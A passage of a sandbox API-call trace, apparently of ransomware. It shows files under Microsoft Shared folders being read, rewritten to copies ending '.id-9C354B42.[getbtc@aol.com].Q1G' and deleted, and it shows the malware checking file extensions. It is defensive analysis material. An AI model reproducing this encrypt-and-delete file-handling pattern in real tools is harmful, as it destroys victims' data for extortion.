Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.161] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.161] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.162] GetLastError () returned 0x0 [0054.162] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0054.188] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0054.456] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x4e770, lpOverlapped=0x0) returned 1 [0054.468] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x4e780, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x4e780, lpOverlapped=0x0) returned 1 [0054.477] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.477] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.477] SetEndOfFile (hFile=0x20c) returned 1 [0054.506] CloseHandle (hObject=0x20c) returned 1 [0054.506] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.506] SetEndOfFile (hFile=0x214) returned 1 [0054.509] CloseHandle (hObject=0x214) returned 1 [0054.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.509] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 1 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.510] lstrlenW (lpString=".doc") returned 4 [0054.510] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.510] lstrlenW (lpString=".docx") returned 5 [0054.510] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0054.510] lstrlenW (lpString=".pdf") returned 4 [0054.510] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.510] lstrlenW (lpString=".xls") returned 4 [0054.510] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.510] lstrlenW (lpString=".xlsx") returned 5 [0054.510] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0054.510] lstrlenW (lpString=".ppt") returned 4 [0054.510] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.510] lstrlenW (lpString=".zip") returned 4 [0054.510] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.510] lstrlenW (lpString=".rar") returned 4 [0054.510] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.510] lstrlenW (lpString=".bz2") returned 4 [0054.510] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.510] lstrlenW (lpString=".7z") returned 3 [0054.510] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.510] lstrlenW (lpString=".dbf") returned 4 [0054.510] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.510] lstrlenW (lpString=".1cd") returned 4 [0054.510] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.510] lstrlenW (lpString=".jpg") returned 4 [0054.510] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.511] lstrlenW (lpString=".doc") returned 4 [0054.511] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.511] lstrlenW (lpString=".docx") returned 5 [0054.511] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0054.511] lstrlenW (lpString=".pdf") returned 4 [0054.511] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.511] lstrlenW (lpString=".xls") returned 4 [0054.511] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.511] lstrlenW (lpString=".xlsx") returned 5 [0054.511] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0054.511] lstrlenW (lpString=".ppt") returned 4 [0054.511] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.511] lstrlenW (lpString=".zip") returned 4 [0054.511] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.511] lstrlenW (lpString=".rar") returned 4 [0054.511] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.511] lstrlenW (lpString=".bz2") returned 4 [0054.511] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.511] lstrlenW (lpString=".7z") returned 3 [0054.511] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.511] lstrlenW (lpString=".dbf") returned 4 [0054.511] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.511] lstrlenW (lpString=".1cd") returned 4 [0054.511] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61 [0054.511] lstrlenW (lpString=".jpg") returned 4 [0054.511] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.512] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0054.512] lstrlenW (lpString="EEINTL.DLL") returned 10 [0054.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.513] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=64096) returned 1 [0054.513] CloseHandle (hObject=0x214) returned 1 [0054.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0054.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.513] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.513] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.514] GetLastError () returned 0x0 [0054.514] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xfa60, lpOverlapped=0x0) returned 1 [0054.519] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xfa70, lpOverlapped=0x0) returned 1 [0054.522] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.523] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0054.523] SetEndOfFile (hFile=0x20c) returned 1 [0054.523] CloseHandle (hObject=0x20c) returned 1 [0054.523] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.523] SetEndOfFile (hFile=0x214) returned 1 [0054.524] CloseHandle (hObject=0x214) returned 1 [0054.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.524] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0054.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.524] lstrlenW (lpString=".doc") returned 4 [0054.524] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.524] lstrlenW (lpString=".docx") returned 5 [0054.524] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0054.524] lstrlenW (lpString=".pdf") returned 4 [0054.525] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.525] lstrlenW (lpString=".xls") returned 4 [0054.525] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.525] lstrlenW (lpString=".xlsx") returned 5 [0054.525] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0054.525] lstrlenW (lpString=".ppt") returned 4 [0054.525] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.525] lstrlenW (lpString=".zip") returned 4 [0054.525] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.525] lstrlenW (lpString=".rar") returned 4 [0054.525] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.525] lstrlenW (lpString=".bz2") returned 4 [0054.525] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.525] lstrlenW (lpString=".7z") returned 3 [0054.525] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.525] lstrlenW (lpString=".dbf") returned 4 [0054.525] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.525] lstrlenW (lpString=".1cd") returned 4 [0054.525] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.525] lstrlenW (lpString=".jpg") returned 4 [0054.525] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.525] lstrlenW (lpString=".doc") returned 4 [0054.525] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.525] lstrlenW (lpString=".docx") returned 5 [0054.525] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0054.525] lstrlenW (lpString=".pdf") returned 4 [0054.525] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.525] lstrlenW (lpString=".xls") returned 4 [0054.526] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.526] lstrlenW (lpString=".xlsx") returned 5 [0054.526] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0054.526] lstrlenW (lpString=".ppt") returned 4 [0054.526] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.526] lstrlenW (lpString=".zip") returned 4 [0054.526] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.526] lstrlenW (lpString=".rar") returned 4 [0054.526] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.526] lstrlenW (lpString=".bz2") returned 4 [0054.526] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.526] lstrlenW (lpString=".7z") returned 3 [0054.526] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.526] lstrlenW (lpString=".dbf") returned 4 [0054.526] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.526] lstrlenW (lpString=".1cd") returned 4 [0054.526] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0054.526] lstrlenW (lpString=".jpg") returned 4 [0054.526] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.526] lstrcmpiW (lpString1=".CNT", lpString2=".Q1G") returned -1 [0054.526] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0054.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.553] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=2557) returned 1 [0054.553] CloseHandle (hObject=0x214) returned 1 [0054.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0054.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.553] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.553] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.554] GetLastError () returned 0x0 [0054.554] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x9fd, lpOverlapped=0x0) returned 1 [0054.906] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0054.907] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.907] WriteFile (in: hFile=0x20c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.907] SetEndOfFile (hFile=0x20c) returned 1 [0054.907] CloseHandle (hObject=0x20c) returned 1 [0054.907] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.907] SetEndOfFile (hFile=0x214) returned 1 [0054.908] CloseHandle (hObject=0x214) returned 1 [0054.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.908] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0054.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.908] lstrlenW (lpString=".doc") returned 4 [0054.908] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0054.908] lstrlenW (lpString=".docx") returned 5 [0054.908] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0054.908] lstrlenW (lpString=".pdf") returned 4 [0054.908] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0054.908] lstrlenW (lpString=".xls") returned 4 [0054.909] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0054.909] lstrlenW (lpString=".xlsx") returned 5 [0054.909] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0054.909] lstrlenW (lpString=".ppt") returned 4 [0054.909] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0054.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.909] lstrlenW (lpString=".zip") returned 4 [0054.909] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0054.909] lstrlenW (lpString=".rar") returned 4 [0054.909] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0054.909] lstrlenW (lpString=".bz2") returned 4 [0054.909] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0054.909] lstrlenW (lpString=".7z") returned 3 [0054.909] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0054.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.909] lstrlenW (lpString=".dbf") returned 4 [0054.909] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0054.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.909] lstrlenW (lpString=".1cd") returned 4 [0054.909] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0054.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.909] lstrlenW (lpString=".jpg") returned 4 [0054.909] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0054.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.909] lstrlenW (lpString=".doc") returned 4 [0054.909] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0054.909] lstrlenW (lpString=".docx") returned 5 [0054.909] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0054.909] lstrlenW (lpString=".pdf") returned 4 [0054.909] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0054.909] lstrlenW (lpString=".xls") returned 4 [0054.909] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0054.909] lstrlenW (lpString=".xlsx") returned 5 [0054.909] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0054.910] lstrlenW (lpString=".ppt") returned 4 [0054.910] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0054.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.910] lstrlenW (lpString=".zip") returned 4 [0054.910] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0054.910] lstrlenW (lpString=".rar") returned 4 [0054.910] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0054.910] lstrlenW (lpString=".bz2") returned 4 [0054.910] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0054.910] lstrlenW (lpString=".7z") returned 3 [0054.910] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0054.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.910] lstrlenW (lpString=".dbf") returned 4 [0054.910] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0054.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.910] lstrlenW (lpString=".1cd") returned 4 [0054.910] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0054.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0054.910] lstrlenW (lpString=".jpg") returned 4 [0054.910] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0054.910] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0054.910] lstrlenW (lpString="VISFILT.DLL") returned 11 [0054.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0055.318] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=2124664) returned 1 [0055.318] CloseHandle (hObject=0x238) returned 1 [0055.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0055.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.318] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common 